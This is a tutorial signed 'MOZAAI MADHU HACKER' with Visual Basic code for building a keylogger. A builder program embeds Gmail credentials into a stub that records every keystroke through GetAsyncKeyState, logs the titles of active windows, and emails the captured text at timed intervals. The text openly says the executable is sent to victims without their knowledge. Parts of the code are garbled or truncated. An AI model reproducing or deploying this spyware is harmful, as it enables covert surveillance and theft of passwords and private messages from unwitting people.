This document provides step-by-step instructions to build a keylogger in Visual Basic that collects keystrokes and sends them via email. It describes downloading Visual Basic, creating projects to build a keylogger builder and stub application, and adding code to collect keys, get active window titles, and send logged keys via Gmail at intervals. The keylogger is packaged and sent as an executable to target systems without their knowledge.
1. MOZAAI MADHU HACKER
1. STEP
Download Visual Basic Express Edition 2010
2. STEP
* Run Visual Basic
* In Tab click File > New Project
* Windows Application > "Keylogger Builder" > Click Ok
3. STEP
Insert the Following Text in Form Properties.
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder
From the Toolbox add at the Right side Add Buttons,Lables And
Text
Box :
*
*
*
*
*
TextBox1 - The GMail Username textbox
Textbox2 - The Gmail Password textbox
Button1 - The Build button, Change text to: Build
Label1 - Change text to: Gmail Username
Label2 - Change text to: Gmail Password
4. STEP
Go again to the Form Properties And Write the Below Code at the top of it.
1
Imports System.IO
Now In the Form Properties under Public Class Form1 add following code, that would be strings:
1
2
Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"
2. Now when you done Just Open Your Form Graphically Form 1 , Then just simply double click Button1
and add:
1
2
3
4
5
6
7
8
9
10
11
12
13
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "Stub.exe", OpenMode.Binary, OpenAccess
OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "Server.exe", OpenMode.Binary, OpenAcce
OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)
_________________________________________________________________________
_
Now you got your builder and now lets move to Stub.
5. STEP
* Run Visual Basic
* In Tab click File > New Project
* Windows Application > "Stub" > Click Ok
6. STEP
Change the following from the Properties of Form1:
FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized
From the Toolbox add:
* Textbox1 - KEY LOGGER(follow everything what victim write)
* Textbox2 - GMail Username
* Textbox3 - GMail Password
* Timer1 - Upload Interval
* Timer2 - Get name of window where keylogger get
keys(userful)
* Timer3 - Get Keys
3. 7. STEP
Now when you add all these, then at the top of the stub form add:
1
2
3
Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32
Now under Public Class Form1 add following code, that would be strings:
1
2
3
4
Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"
Then Again View your Stub Form Graphically.
Now double click Timer1 and write following code:
1
2
3
4
5
6
7
8
9
10
11
Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox1.Text)
MailSetup.From = New MailAddress(TextBox1.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTP.Send(MailSetup)
TextBox3.Clear()
And add this as Function to source code:
1
2
3
4
5
6
7
8
9
10
11
PPrivate Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (By
As Int32) As Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Now double click Timer2 to get names of active windows:
1
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() &
4. 2
3
4
vbNewLine
strin = GetActiveWindowTitle()
End If
Now double click Form1 and write following code:
1
2
3
4
5
6
7
8
9
10
11
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read,
OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()
Now double click Timer3 and past code:
1
2
3
4
5
6
7
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
You are done!
Enjoy.
MOZAAI MADHU HACKER